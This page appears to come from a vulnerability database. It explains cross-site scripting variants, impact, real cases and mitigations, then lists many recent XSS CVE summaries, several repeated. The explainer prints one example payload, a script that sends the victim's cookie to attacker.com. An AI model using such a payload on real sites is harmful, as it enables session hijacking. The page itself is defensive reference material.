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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39121)

EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Link Anything functionality in all versions up to, and including, 2.6.8 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Exclusive Addons For Elementor +1
NVD
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Meks Smart Social Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meks Smart Social Widget in all versions up to, and including, 1.6.3 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Meks Smart Social Widget
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automatic redirect URL setting in all versions up to and including 4.7.1 due to. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wordpress Simple Paypal Shopping Cart
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

** DISPUTED ** A vulnerability, which was classified as problematic, has been found in NetBox up to 3.7.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Netbox
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Unity Connection could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Unity Connection
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

WhatACart v2.0.7 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /site/default/search. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Whatacart
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Juniper +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in hongmaple octopus 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Octopus
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

iGalerie v3.0.22 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Titre (Title) field in the editing interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Igalerie
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Form Tools v3.1.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /form_builder/preview.php?form_id=2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Form Tools
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

WebCalendar v1.3.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /WebCalendarvqsmnseug2/edit_entry.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Webcalendar
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dolibarr Erp Crm
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cups Easy
NVD
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WPFront Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘wpfront-notification-bar-options[custom_class]’ parameter in all versions up to, and including,. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wpfront Notification Bar
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The "WebSub (FKA. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Websub
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Red Hat Dependency Analytics Plugin 0.7.1 and earlier programmatically disables Content-Security-Policy protection for user-generated content in workspaces, archived artifacts, etc. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Jenkins +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Kanboard 1.2.34 is vulnerable to Html Injection in the group management feature. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kanboard
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Orthanc versions before 1.12.2 are affected by a reflected cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Orthanc
NVD
EPSS 54% 4.3 CVSS 6.1
MEDIUM POC PATCH THREAT This Month

The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 54.2%.

Google XSS WordPress +1
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The WP Customer Area plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all versions up to, and including, 8.2.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Customer Area
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

SSRF XSS Python +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in /admin/login password parameter in JFinalcms 5.0.0 allows attackers to run arbitrary code via crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Jfinalcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

TuiTse-TsuSin is a package for organizing the comparative corpus of Taiwanese Chinese characters and Roman characters, and extracting sentences of the Taiwanese Chinese characters and the Roman. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Tuitse Tsusin
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Whoogle Search is a self-hosted metasearch engine. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Whoogle Search
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in JFinalcms 5.0.0 allows attackers to run arbitrary code via the /admin/login username parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Jfinalcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the /index keyword parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Beetl Bbs
NVD GitHub
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Sticky Buttons - floating buttons builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via sticky URLs in all versions up to, and including, 3.2.2 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Sticky Buttons
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS A Blog Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS A Blog Cms
NVD
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'disqus_name' parameter in all versions up to, and including, 1.0.92.1 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Accelerated Mobile Pages
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Nautobot is a Network Source of Truth and Network Automation Platform built as a web application. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nautobot
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An attacker could execute unauthorized script on a legitimate site through UXSS using window.open() by opening a javascript URI leading to unauthorized actions within the user's loaded webpage. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Firefox Focus
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in CodeAstro Online Railway Reservation System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Railway Reservation System
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in LinZhaoguan pb-cms 2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pb Cms
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic was found in CodeAstro Internet Banking System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Internet Banking System
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Ghost before 5.76.0 allows XSS via a post excerpt in excerpt.js. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ghost
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jupyterlab Notebook +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

MolecularFaces before 0.3.0 is vulnerable to cross site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Molecularfaces
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Project Worlds Student Project Allocation System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Student Project Allocation System
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in code-projects Social Networking Site 1.0 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Social Networking Site
NVD VulDB
